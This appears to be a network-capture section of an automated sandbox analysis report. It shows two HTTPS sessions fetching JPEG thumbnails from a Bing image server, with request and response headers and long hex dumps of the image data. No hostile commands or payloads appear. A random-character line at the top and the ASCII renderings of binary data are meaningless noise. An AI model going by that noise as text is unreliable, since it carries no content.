QKkkx,@Y;I^xXvE[/7vOZ&o<ei.[3nhpM\|Dyq@ER(a%r{RuYl+7~>A[g4wyWeWiWPG$\nk3Ai;lWijuUcun5yYrKDt0R\|97zt#jqDk!w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49732	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:21 UTC	346	OUT	GET /th?id=OADD2.10239381877257_1ABR0ZMHI2BWVS3EY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 06:53:21 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 606021 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3361247DF94D4443A75DD66DDD4C0F00 Ref B: EWR30EDGE0821 Ref C: 2024-11-25T06:53:21Z Date: Mon, 25 Nov 2024 06:53:21 GMT Connection: close
2024-11-25 06:53:21 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 15 be 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 34 3a 32 33 3a 32 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 14:23:288
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 3f 11 ac aa aa 5a 2d ce 81 b5 58 f4 1b 4b 7d 3b 4d 8f cd 99 be ed 71 ba c5 d5 e1 d4 ae d9 a7 de ab f7 e5 df fa 55 8b 99 75 2b b4 96 ea 74 fb 34 8b b5 56 56 f9 57 6f f7 56 b3 6f a7 5b 95 8b 4f 85 37 2a 7d ed 9f c6 df de ae 7a 14 b9 75 7a be a7 34 65 27 3f 78 e8 7c 17 a6 5d 6b b6 6f 2d 9d c5 a2 c7 64 7c cd 97 09 f7 db d5 ab ab f1 54 13 dc f8 61 9a 49 f6 f9 51 2e fd 9f 77 8e c2 b3 fc 1b 6d a7 e8 be 19 fb 54 57 7f 68 92 e3 fd 72 7f 0a 7b 57 31 aa 78 8a 79 6f ae 21 59 e4 da cf b9 36 ff 00 05 79 d5 23 53 15 89 6e 1f 0c 1f fc 39 a5 5a 9e ea 8c 75 d0 da b5 f1 45 a5 9b 5b d9 47 1a 33 ec 55 ff 00 65 1a b3 ad 6e 75 7d 4f 58 f2 ee a4 75 85 65 f9 fe 7d bb fe 95 cf a2 c7 07 fa 45 c7 cd 70 df 32 a7 fb 26 a3 bc d4 ee 16 65 28 ff 00 bc 57 dc ce bf de ae f8 e0 e0 9b 70 5a Data Ascii: ?Z-XK};MqUu+t4VVWoVo[O7*}zuz4e'?x\|]ko-d\|TaIQ.wmTWhr{W1xyo!Y6y#Sn9ZuE[G3Uenu}OXue}Ep2&e(WpZ
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: c4 9f 37 de ab 57 51 ed 82 95 48 a9 2e 59 1a 52 93 8b f6 90 7b 1d e7 87 6f ec f5 4f 39 7f e5 a5 61 78 bb 44 b9 ba d8 d6 b1 c9 2f cf 58 fe 1b b9 7b 7b e4 6f e1 af 41 d1 6e 7f 71 b9 64 f9 5a bc e9 f3 61 aa 73 43 54 7a 50 50 c6 52 e4 a8 65 f8 77 48 d3 f4 dd 37 cb fb d3 37 df 77 ac db 8b 65 8a 77 f2 63 8d 56 b6 b5 06 65 9d d9 7e 65 ac d6 1b be f5 28 54 9c 9b 93 7b 95 52 9c 23 15 08 ab 24 63 ea 16 de 55 c2 5c 47 f2 af f7 2a 8d e3 b4 f1 ee ad 2d 50 7f 15 62 c9 3e ca ef a5 76 af d4 f3 6b 24 9d ba 33 3e fa 35 4d eb 59 7e 52 ad c7 fa cf 96 ba 2b a8 3c f8 3c c5 ac 3b c8 19 64 ae fa 55 2e 79 75 e8 db 5b 17 b4 9b 98 22 9f cb 69 37 6e a6 ea 56 5b a7 7b 85 ff 00 56 d5 9f 6b 61 27 fa ea e8 b4 39 e2 6f f4 7b aa 72 9f b3 97 34 75 ee 4c 69 7b 68 72 54 56 ec 73 57 16 ea b2 Data Ascii: 7WQH.YR{oO9axD/X{{oAnqdZasCTzPPRewH77wewcVe~e(T{R#$cU\G*-Pb>vk$3>5MY~R+<<;dU.yu["i7nV[{Vka'9o{r4uLi{hrTVsW
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: d2 19 24 f9 9a bc ac 5e 06 70 93 92 5a 1f 4f 95 67 54 2b 41 41 cb 53 a8 b7 2a 92 7f b5 5a 0d 23 fc b5 cf db df af de ab f6 b7 7e 6f fb b5 e5 54 83 3e 8e 95 48 b5 a3 37 ed e5 f3 63 db 57 b4 1d 42 04 d4 92 19 3f bf 5c d5 bd eb 2f ca b5 4a e2 f5 a0 9b cc fe 2a c3 d8 b9 5d 1d 5e df 96 cd 9d 7f c4 a8 ad 93 58 4f 27 ee b4 3b 9e b9 5c fe ef 6d 59 93 57 5d 42 34 8d bf d6 56 7e a0 76 4f b7 cc f9 ab d4 c1 fb b4 d4 1e e7 ce e6 8f 9a b4 aa 45 68 d9 1d c4 fb 3e 5a a5 79 73 b7 ef 49 50 df 5c 7f a5 7c df 35 53 bc 4f b6 79 cb 0f ef 59 66 f2 9d 3f b8 d5 e8 ae 58 ee 78 af 9a 77 4b 72 65 95 65 93 6c 74 f9 3c ab 3b 17 bc be 9e 3b 78 62 f9 9d de b8 9f 8b 1e 37 b3 f0 06 87 6e d3 49 bb 52 b8 9a 3f 2a dd 3f e7 98 6f 9f ff 00 1d af 9e fe 2c 7c 59 ba d7 a7 d6 21 86 09 2c ec f5 6b Data Ascii: $^pZOgT+AASZ#~oT>H7cWB?\/J]^XO';\mYW]B4V~vOEh>ZysIP\\|5SOyYf?XxwKreelt<;;xb7nIR?*?o,\|Y!,k
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: df 37 95 dc bb 87 fb b5 37 83 74 af 2a ed 26 d4 24 92 de 4b a4 69 66 89 fe 66 45 f6 ff 00 69 bb d7 7c 12 e6 e6 d8 e4 a8 e3 cb ca 70 5f 1c b4 e9 7f b3 6c 5a ea 7f b3 b5 ba 34 e8 90 be ed f9 5e 9f ef 57 9d 7d 8a fa e3 5c b7 93 56 d3 67 b7 b3 54 f9 1f 67 ca ed ef 5e ed 71 a3 dc ea f7 50 da cd 07 da 2e 9a 66 68 61 4f e6 d9 ed 8a e5 fc 59 e1 3d 5d 75 8f b2 b4 1f 68 99 9d 60 4f 9d bc a4 6e a6 b5 8a d6 fd 4f 27 11 0a 8e 5e e2 ba 39 bd 3c 4b fd 95 34 76 b1 ed 8e 24 66 99 f6 6e 67 6a e8 3f 67 9d 2a f2 c2 d6 fb c4 12 41 3d bc 77 0e b6 d6 f0 ba 7e f6 66 ff 00 66 ba 6f 05 f8 7b fb 2f 66 9b 6b 69 e6 cd bf 73 a2 7c de 73 0f ee 8e 7e 5a e9 ae a2 96 2b 5b 79 a4 9f ec f1 c4 ff 00 f0 2f 33 77 cd 80 bf c3 4e 53 6f 9a db b3 6a 38 57 07 cc dd cb 17 96 8b a3 49 e4 db c9 b6 4b Data Ascii: 77t&$KiffEi\|p_lZ4^W}\VgTg^qP.fhaOY=]uh`OnO'^9<K4v$fngj?gA=w~ffo{/fkis\|s~Z+[y/3wNSoj8WIK
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 25 9a 68 23 59 1b e6 7f f6 eb d5 58 75 52 4d 5b e6 72 aa 9e ce 9c 5f ae 9d 0f 42 bc d4 2c 65 b1 da d0 49 2a c4 fb 6d dd df e5 85 77 7f 0a ff 00 3a 2c 5e 0b 58 3c c9 2e 23 f2 da e1 be 4d 9f a5 72 5a 1e a0 d3 ce 8b 79 fe b9 7e e3 fd 7b 56 c5 d4 72 27 87 ee d9 63 dc cc ea c8 f3 7f 78 76 a4 a9 b8 b7 11 4e 6a a4 13 5b dc eb 7c 13 e1 e9 7c 5b e2 64 99 63 8d 6d 62 9a 35 77 df fc 3d 80 af 78 8f 47 9f 4e d5 ad ee 26 9f cd ba b8 db 02 43 bf 6b 3a f7 6c 7f 76 b8 cf d9 86 ce 78 bc 17 63 75 37 96 ad 3c d2 5c bf f1 6f 5d db 79 35 df fd a6 c6 eb c6 29 71 34 92 2b 7c d1 7e 55 8c 64 9b 68 ce 4d aa 6b b0 ff 00 8a 56 72 f9 76 9e 5f fc b5 da af fc 5f 2d 74 fa 69 8b 4b b1 f3 26 92 36 68 a1 db f2 26 df ca b9 4f 88 d2 5e 4f 7d f6 a8 e0 8d a1 8a dd 7c ad ef b7 e6 a6 78 8b 5d 5d Data Ascii: %h#YXuRM[r_B,eI*mw:,^X<.#MrZy~{Vr'cxvNj[\|\|[dcmb5w=xGN&Ck:lvxcu7<\o]y5)q4+\|~UdhMkVrv__-tiK&6h&O^O}\|x]]
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: ea 1f 36 f6 30 ec de 28 b5 2f b1 f9 71 be c9 b6 bb a7 cd f3 6d ea 3f d9 ad 1f b3 c5 e7 dd af 97 ff 00 1f 16 ec bb ff 00 da fa 52 69 76 91 27 ee 6d 64 ff 00 55 34 8c 8f f7 77 a9 a9 6f 1f ec 17 d0 db c9 1e e9 9a 1d db 13 77 fd f5 59 ab f3 5d 04 de 96 f2 33 e3 db 6f 63 35 bc de 67 99 b3 6b fd e6 5e 78 ae 37 50 89 a2 d4 bc cb 8f 31 bc a9 9b ee 7f 02 ed af 5b d1 74 eb 6b 2b 1b b9 a4 ff 00 48 f3 51 55 3f bb e6 75 18 ae 13 c5 1a ad 9d ef 88 13 4f 68 e3 68 7e eb ba 7d df 30 fc cd 5b fb 4d 1d 8c e9 53 8c 9a 47 27 e1 b9 20 ba b8 96 e3 50 92 46 fb 3d c7 9a 8e 9f dd fe ef ae 2b 63 c7 5a cd cd fe a8 eb 0d 84 91 6d b1 da 88 ef f7 1b fd 9f ee e2 9b a8 3d a5 94 df 65 d3 63 92 d6 6d 46 65 57 77 8f ee 46 9d 5f 34 6b 17 36 77 ff 00 61 86 ce ef ca 8d 51 62 df 32 7f 73 96 fc Data Ascii: 60(/qm?Riv'mdU4wowY]3oc5gk^x7P1[tk+HQU?uOhh~}0[MSG' PF=+cZm=ecmFeWwF_4k6waQb2s
2024-11-25 06:53:22 UTC	16065	IN	Data Raw: 62 92 6d b3 6a 39 35 35 fb 74 96 7f 79 93 fd 77 d6 a3 f0 ae 95 3e 8d e1 9f 2e d6 d3 ed 1a b6 a4 ea b6 ee ff 00 32 a2 ff 00 4a dc d0 d2 08 b4 68 6e 35 09 3c 88 5f e6 4f e1 f9 87 6f f6 aa 75 3e 54 ef aa 43 1d d2 b4 b0 ed b4 77 fb db 8a fd e1 54 9d af a0 d4 15 b7 34 3c 3f a7 41 a2 5a fd a3 cc 8d af 2e 36 ab cd f7 99 db f8 ab 57 5a 82 fa 59 21 69 a3 dd 6f fb cd 88 9f fb 35 61 e8 b1 ea a9 06 9f 75 e2 89 e0 6f b2 a7 95 0a 27 f1 b1 5f bd f5 ff 00 d9 ab 80 f8 a1 f1 96 7b 5d 56 1b 1d 1e 49 25 8f 7b 6f 86 dd 17 77 de fe f3 7e b5 9f bd 3a 9c 89 5d 95 24 e1 1e 7d 0e 96 d6 e6 2b cf 13 3d bb 7d aa f2 d6 de 6f 35 21 7f bb b8 7a 7f c0 aa 6f 11 6a 1a 9d ae 8e 8b e4 4e d7 52 ee 95 2d df fd 6f d0 ff 00 75 45 72 2d e2 dd 5e de ea c6 1f 33 fe 26 5b 37 22 22 2f c8 c7 f8 0f d2 Data Ascii: bmj955tyw>.2Jhn5<_Oou>TCwT4<?AZ.6WZY!io5auo'_{]VI%{ow~:]$}+=}o5!zojNR-ouEr-^3&[7""/
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 39 98 e7 f2 a4 f2 e6 93 fd 9a 76 a4 65 9a eb c9 b5 8e 49 64 d9 f7 11 37 7e 82 bb 68 fe 11 b7 da ed fe d5 ad 7d a1 65 7d cf f2 32 fc a3 a8 af 44 b1 d3 f4 fd 1a 34 87 49 b4 8e df 6a 6d de 9b 77 6e f5 63 fc 55 9b af 4d 6b 7b 95 0a 33 b7 bf a1 e1 b6 fe 14 f1 2d d5 ae e8 f4 99 e2 5d fb 77 cd fb ad ed ed 9a ec f4 bf 86 d2 ff 00 c2 22 eb aa 7f a3 de 6f f3 7c e8 7e 66 db e9 5d e5 c5 e5 d5 e4 9e 4a ff 00 a9 df b7 7f d2 a5 d5 26 db a7 79 71 fc d1 ca 9b 76 27 cc db 7f cf 5a c2 78 b6 fe 14 6a a8 a5 6b ea 70 36 3e 12 f0 f5 ae ab 69 37 97 b6 19 77 44 e9 37 f1 e1 7e f7 3e b5 dd 78 46 d3 48 d2 74 37 8e c6 d2 3b 58 65 dd 2f df dd f3 1f e2 a8 26 db fe 8f 6f 75 1c 7e 5f cd f3 ec f9 78 f7 ab b6 31 2b 4e f6 31 c7 fb 9f 25 59 13 fb 8b e9 58 ce b4 e4 9a 6c d7 95 45 e8 4d e5 ee Data Ascii: 9veId7~h}e}2D4IjmwncUMk{3-]w"o\|~f]J&yqv'Zxjkp6>i7wD7~>xFHt7;Xe/&ou~_x1+N1%YXlEM
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 87 4f 82 d6 d5 e4 f2 e4 fb 3d 63 78 8a 0f ec 19 2d 35 cd 2f cc 96 e3 ce ff 00 8f 7f ef ab f6 a9 72 9a eb 70 e5 b9 d7 ea 56 df 63 d4 92 eb 4f 82 0f 2e f1 3f 7d 13 fc ac 9f 8f a5 4d e0 7b cb 9d 3a 4b 8f b5 5a 48 f0 dc 4d b9 12 1f bb bb a7 0b 56 34 f7 5d 5f 4a 76 b8 f9 56 e9 3e ff 00 dd 68 7e 5e 95 97 aa 58 5c d8 69 53 79 37 7b 55 5d 59 1e 1f f5 af ed fe ed 54 ae f5 ff 00 87 26 2a fa 75 34 e4 d5 d6 59 fe d1 6f 04 97 10 fc de 4c 30 bf fb 5c ee a4 d2 ee 55 76 34 70 4e b7 4b f3 22 3f cd 59 cd 24 13 f8 71 26 b7 8f 6d c2 ee f3 be 7d bb 3f da ae 86 de f7 4f 8a 48 6d 64 9f fd 3b ec 8b 3f fc 07 ee d4 c7 91 ab 36 0d b4 5e c5 cc ba 54 d3 2c ff 00 bc 5d bf 22 3f df ab 56 fe 7f f6 6a 7d 86 09 2f 24 f3 97 e7 9a 7d bb 16 b9 fb e8 96 fa c7 ce 92 4f b2 c9 6f bb c9 4d ff 00 Data Ascii: O=cx-5/rpVcO.?}M{:KZHMV4]_JvV>h~^X\iSy7{U]YT&*u4YoL0\Uv4pNK"?Y$q&m}?OHmd;?6^T,]"?Vj}/$}OoM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49729	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:21 UTC	375	OUT	GET /th?id=OADD2.10239381877256_198YE57VZVEUAHBD7&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 06:53:21 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 681590 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CCF90984C42744758D07007DA67C4306 Ref B: EWR30EDGE0915 Ref C: 2024-11-25T06:53:21Z Date: Mon, 25 Nov 2024 06:53:20 GMT Connection: close
2024-11-25 06:53:21 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 18 6c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 34 3a 32 32 3a 32 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``lExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 14:22:218
2024-11-25 06:53:21 UTC	16384	IN	Data Raw: fa fc d5 12 de cf 32 5f 6b 57 53 ed 9a e2 1f 22 dd 1f f8 3b 52 69 f0 5b 6b 3a e5 c4 36 30 46 b6 29 6e d1 23 ff 00 12 36 df 96 4c 7f 7b 35 5f 56 b4 d3 61 d4 2d 21 fb 76 df 22 26 f3 5d fe ef 3f e3 5d 6d c6 4e dd 59 c7 39 41 eb 7d cc 6d 51 ee e5 b8 b7 f2 67 f3 66 97 6a bf f7 77 55 6d 61 6f a2 f9 af 24 dc bf c6 89 f7 53 fd 9a d6 d1 6c bc ab a4 b8 fd db 59 fe f3 64 df cf f2 ac ed 4a da 0b ab 99 a4 fb 56 d5 67 fd d4 5f c4 fe ed 5b 46 4b 9b 97 a2 25 b8 a9 5a ca c4 be 06 86 d8 5d 4b 76 e9 e6 c8 bf 2c 30 ff 00 b4 68 9e eb 50 86 ca 56 93 7d ab 6f fb fb 1b 77 d2 97 4f 9a 3b 0d 2d 8c 4f b7 74 4d bd b6 7f 17 b5 64 6b 37 ef 7b 76 d7 1b d9 7c cf e0 fe ee 28 50 73 a8 df 4f f2 26 29 d4 9b 7d 08 d6 60 d1 b1 94 e5 b3 b9 7f da 6a 92 49 e0 7f 29 e6 4d df 2b 6f ff 00 7a a8 f4 Data Ascii: 2_kWS";Ri[k:60F)n#6L{5_Va-!v"&]?]mNY9A}mQgfjwUmao$SlYdJVg_[FK%Z]Kv,0hPV}owO;-OtMdk7{v\|(PsO&)}`jI)M+oz
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: ec ae f5 ba d8 a3 1f 85 e7 d5 f5 5b 4b 1b 8b b8 d7 4f 54 db 0c 4f f2 c0 f8 e0 b3 e3 93 f5 34 2e 9f a4 68 29 0e 93 a6 a4 1a a5 c5 e7 df 9a de 0f 22 08 73 d1 07 76 6a d8 ba b9 f1 64 13 a5 8d be 85 6b 2c 3e 77 9b 7d f6 bd df 3a ff 00 cf 25 55 f9 bc a1 f4 f9 8d 73 b7 d2 dc d9 6a df f0 94 78 b2 48 25 67 85 ae 6d f4 cb 7f f4 18 91 51 b6 aa 8f 97 3f 7b 00 2a f2 d5 a5 28 b9 46 c9 df c8 aa 93 92 6e ea df 76 af ef ff 00 23 a0 d6 8c 5e 1c b1 48 ee 34 c8 d7 ca 99 a2 fb 3c d3 ee f3 a6 0b f7 8f d3 af 4f fe b7 8e fc 40 d7 ef 35 49 25 5b 1f 96 4d fb 7c d7 7d bb ff 00 dd ae 8b c4 97 1a a6 b9 a5 ea 1e 20 d5 ac 27 83 52 69 b6 ef 85 19 56 d9 4f dc 59 46 3e 5f ce b1 bc 33 e1 29 ef f5 49 a3 9a fa d6 79 99 3c f4 7d 9f 2a 29 e0 05 ae ca 2a 95 2b ce 6f 6f eb a1 e1 e6 79 76 2b 16 Data Ascii: [KOTO4.h)"svjdk,>w}:%UsjxH%gmQ?{(Fnv#^H4<O@5I%[M\|} 'RiVOYF>_3)Iy<})*+ooyv+
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: af 74 6d ec 27 ec 95 36 92 6f cf 5f bb fa 65 18 95 a5 9b 6e 37 33 57 49 27 87 f5 16 b5 8a 55 b1 92 d6 d6 59 7c bf 36 5f ba cd b7 3d 7d 6a b9 43 1c 6b 71 0f ee fe 6f bf fd e6 ab d0 ea 4a 8e f0 ac ff 00 b9 5f b8 ce ff 00 36 ef a5 63 5a ac dd b9 11 d9 43 0b 46 84 65 ed 5d db fe bd 7d 4f d9 85 b2 a5 92 0d 91 d6 94 29 ba 92 48 bf 85 be ed 3b b3 c1 e5 46 5f 97 fd da 72 fc b5 73 ec fb 69 56 0a 7c c4 f2 94 f7 4b 5a 36 27 6d 39 60 56 a9 e1 89 56 a5 ca e6 91 8d 8b 36 ef ba a7 f9 5a a0 85 36 d4 94 22 87 a8 a7 d3 14 d3 f7 7b d5 a2 58 6d f6 a2 8a 29 80 51 45 15 40 14 d6 4d d4 ea 29 5a e0 53 ba 83 7c 7f 2d 51 58 19 24 ad 76 15 14 91 ee a8 02 18 64 65 8e a3 ba 56 7a 73 46 cb 25 3b 7f ee fe 6a 91 5a e5 1f b1 ee 92 89 23 68 aa c4 92 2a fc d4 9e 7a cf 1e df e2 ad 14 89 65 Data Ascii: tm'6o_en73WI'UY\|6_=}jCkqoJ_6cZCFe]}O)H;F_rsiV\|KZ6'm9`VV6Z6"{Xm)QE@M)ZS\|-QX$vdeVzsF%;jZ#h*ze
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: e2 ea 1b b8 ec ed 76 6d 7d 45 f7 4b d1 be ec 4a 3d 7d 49 a8 7c 75 a3 c0 f0 37 da 35 ab ab a5 54 db 0c df 2a f4 fe ea f4 5f c4 d7 9f 78 8f e2 07 8b 35 6f b0 db e8 57 53 da ab 6e d9 0d bc fb be 6f e2 ff 00 77 fa 53 b4 e5 f1 4d e6 9b 63 e6 24 0a cd f3 34 b7 0f b9 b7 7a e3 fb dd f9 ac de 03 10 a7 1a b5 a6 93 6f e6 67 8c ce 53 5c 94 a9 de 2b ab d8 fd 84 6b 85 14 dd ed fc 34 eb 1b 3d 9f 7b e6 ab cb 12 ad 7d 84 a4 af 64 7c 7c 63 2b 6a 67 b4 52 d4 b1 c4 cb 57 3c bd b4 30 dd 59 b9 5c be 5b 10 c7 52 ab d3 58 6d a1 43 35 48 c2 85 a7 6d 6a 5c 55 00 66 8d fb 68 64 a8 5b cd 5a 00 9d 5f 75 4a a6 a9 fc f4 f8 e5 db 40 26 5c a2 a3 8e 45 6a 92 ad 3b 80 51 43 52 66 98 0b 45 26 69 77 7b d0 01 45 14 50 01 b7 da a3 92 3c d4 94 50 05 49 2d b7 54 12 5b b2 d6 95 35 93 75 43 8b 1d Data Ascii: vm}EKJ=}I\|u75T*_x5oWSnowSMc$4zogS\+k4={}d\|\|c+jgRW<0Y\[RXmC5Hmj\Ufhd[Z_uJ@&\Ej;QCRfE&iw{EP<PI-T[5uC
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 53 15 39 f2 c6 31 b5 ad d1 fe a5 bd 06 7d 42 f2 c5 23 b3 b4 92 58 59 d7 62 3f dd dc 7a bb 1f ef 6e ff 00 eb 55 8d 2f 43 9e 4f 15 2e a5 f6 4d d2 4a eb 1c d3 5d ff 00 cb b2 95 db bd d7 ef f1 5a 9e 1b 5f ec e9 ad d9 ad e3 8a d6 d5 d7 65 ba 7e e9 b7 0e 92 15 fe f1 c7 7a 8f c4 9a b6 ab 3c f3 4d 0c 93 dd 5c 5d 6e f9 5f 6e e4 c7 ca bb 9b 3f 77 da b9 9e 21 f3 ca 34 95 ae 6d 47 0f 39 c3 96 a7 c7 d9 6e 7e 9c db ea 1f bc f9 7e ed 5d 87 50 55 fb bf 7a ab c7 a2 5c f9 9b 56 3f 96 af 49 a2 c5 f6 5f 97 fd 67 f7 eb f4 2a 8e 89 f1 f4 d5 7b 6a 58 b7 d4 11 be f7 cb 57 37 ee fb b5 cc dc 47 2d bc 89 e6 7d ea 9a 1b f6 fb ab 59 3a 17 d6 26 91 c4 d9 da 46 ef 9b ff 00 02 a2 49 65 1f 37 97 55 2c ee 62 f2 ff 00 79 27 cd 57 16 48 8c 7b ab 09 45 ad d1 d1 19 26 b7 08 e4 dd 4f 5a 45 92 Data Ascii: S91}B#XYb?znU/CO.MJ]Z_e~z<M\]n_n?w!4mG9n~~]PUz\V?I_g*{jXW7G-}Y:&FIe7U,by'WH{E&OZE
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: e9 50 ea d6 fe 18 7d 4a e1 74 fb 84 b3 58 b6 b2 5b c5 f3 2e ee 07 de 3f 9d 75 be 3a b8 b2 d3 66 5f f8 40 f4 d8 e5 8d 15 a1 47 78 1a 5d f1 ff 00 b6 1f 8f d3 9a c4 f8 6b f0 ff 00 58 17 32 f8 8e 6b b8 34 98 d1 d3 cd 69 67 db f2 b7 23 e5 1e fc e3 15 8a c4 27 19 55 a9 52 dd 97 9f a1 d9 52 15 69 d4 8a a5 04 fb b7 b5 bd 77 bf a8 c8 e6 b5 b7 f0 cb 69 b7 1f 6e 5b 75 99 65 87 e7 5d de 61 fb ff 00 26 3f 2e 98 aa fa 86 b1 73 67 69 35 9a f9 9e 63 22 c4 f6 fb f7 4b b7 ab 39 ff 00 67 35 26 a5 7a d7 9a c3 c3 a3 c0 fa a4 9b d9 77 ec 6d af fd dd bf de cd 26 97 e1 2d 7a 5b 1b 8d 7a 1b 44 8a 36 9b ca bb 79 77 36 cc fe 9f 9d 11 74 d2 e6 ac ed ea 78 f5 b0 d8 9c 45 7b 52 8b b2 7d 8b 36 37 49 a8 f8 df c9 d4 a3 8e 76 ba b7 68 df 4e 4b af 29 52 40 b8 cb ba 80 36 ff 00 10 44 ef c5 Data Ascii: P}JtX[.?u:f_@Gx]kX2k4ig#'URRiwin[ue]a&?.sgi5c"K9g5&zwm&-z[zD6yw6txE{R}67IvhNK)R@6D
2024-11-25 06:53:22 UTC	16065	IN	Data Raw: c5 7f 12 a6 d1 7c 33 68 8d 63 2c de 57 db a2 4d df bb 1f f3 cd 5f 08 9b bd 4f 6a cb b8 f8 9f ab d8 69 3a 86 8f a2 eb 56 b6 ba 5d 85 c7 96 f7 12 c7 1b 5e 3f f7 a3 85 d5 76 e4 9e e0 56 92 f6 b3 97 bc bf ae 87 b3 4e 8c 23 1f 76 3a ab 5f 5f 2b a7 a9 d1 6b 5a 05 e7 da ac 74 fd 4b 4d 92 e3 ec ef bb ed 0f e5 ed b9 eb ca f5 ff 00 f5 f2 73 58 b7 9a 65 8c db ad 6f 2e f4 e8 b4 d4 f9 9e d3 cf f3 fe ef fc f5 6e 9c e3 fc 8a c0 f8 99 f1 35 5f 4e ff 00 84 77 c1 f1 cf 2a f9 4b 13 dc 3a 7d ff 00 97 e6 db fe ce ef fb ea bc b2 f3 59 f1 1f 88 26 4b 3b ad 5a 79 63 54 58 fc 9f 95 77 e3 fd 95 15 58 7c 05 59 ae 69 3e 54 bf ab 8e a4 af 15 a6 bf 3f d5 a3 e8 cd 3e 3d 29 a3 49 26 8e 0b 8f b3 a7 97 0c 3e 7a f9 50 c7 c7 ef 11 79 1f 8f e4 2a 1f 16 49 ff 00 08 f2 26 b9 7d 3a 5d 6a d6 a9 Data Ascii: 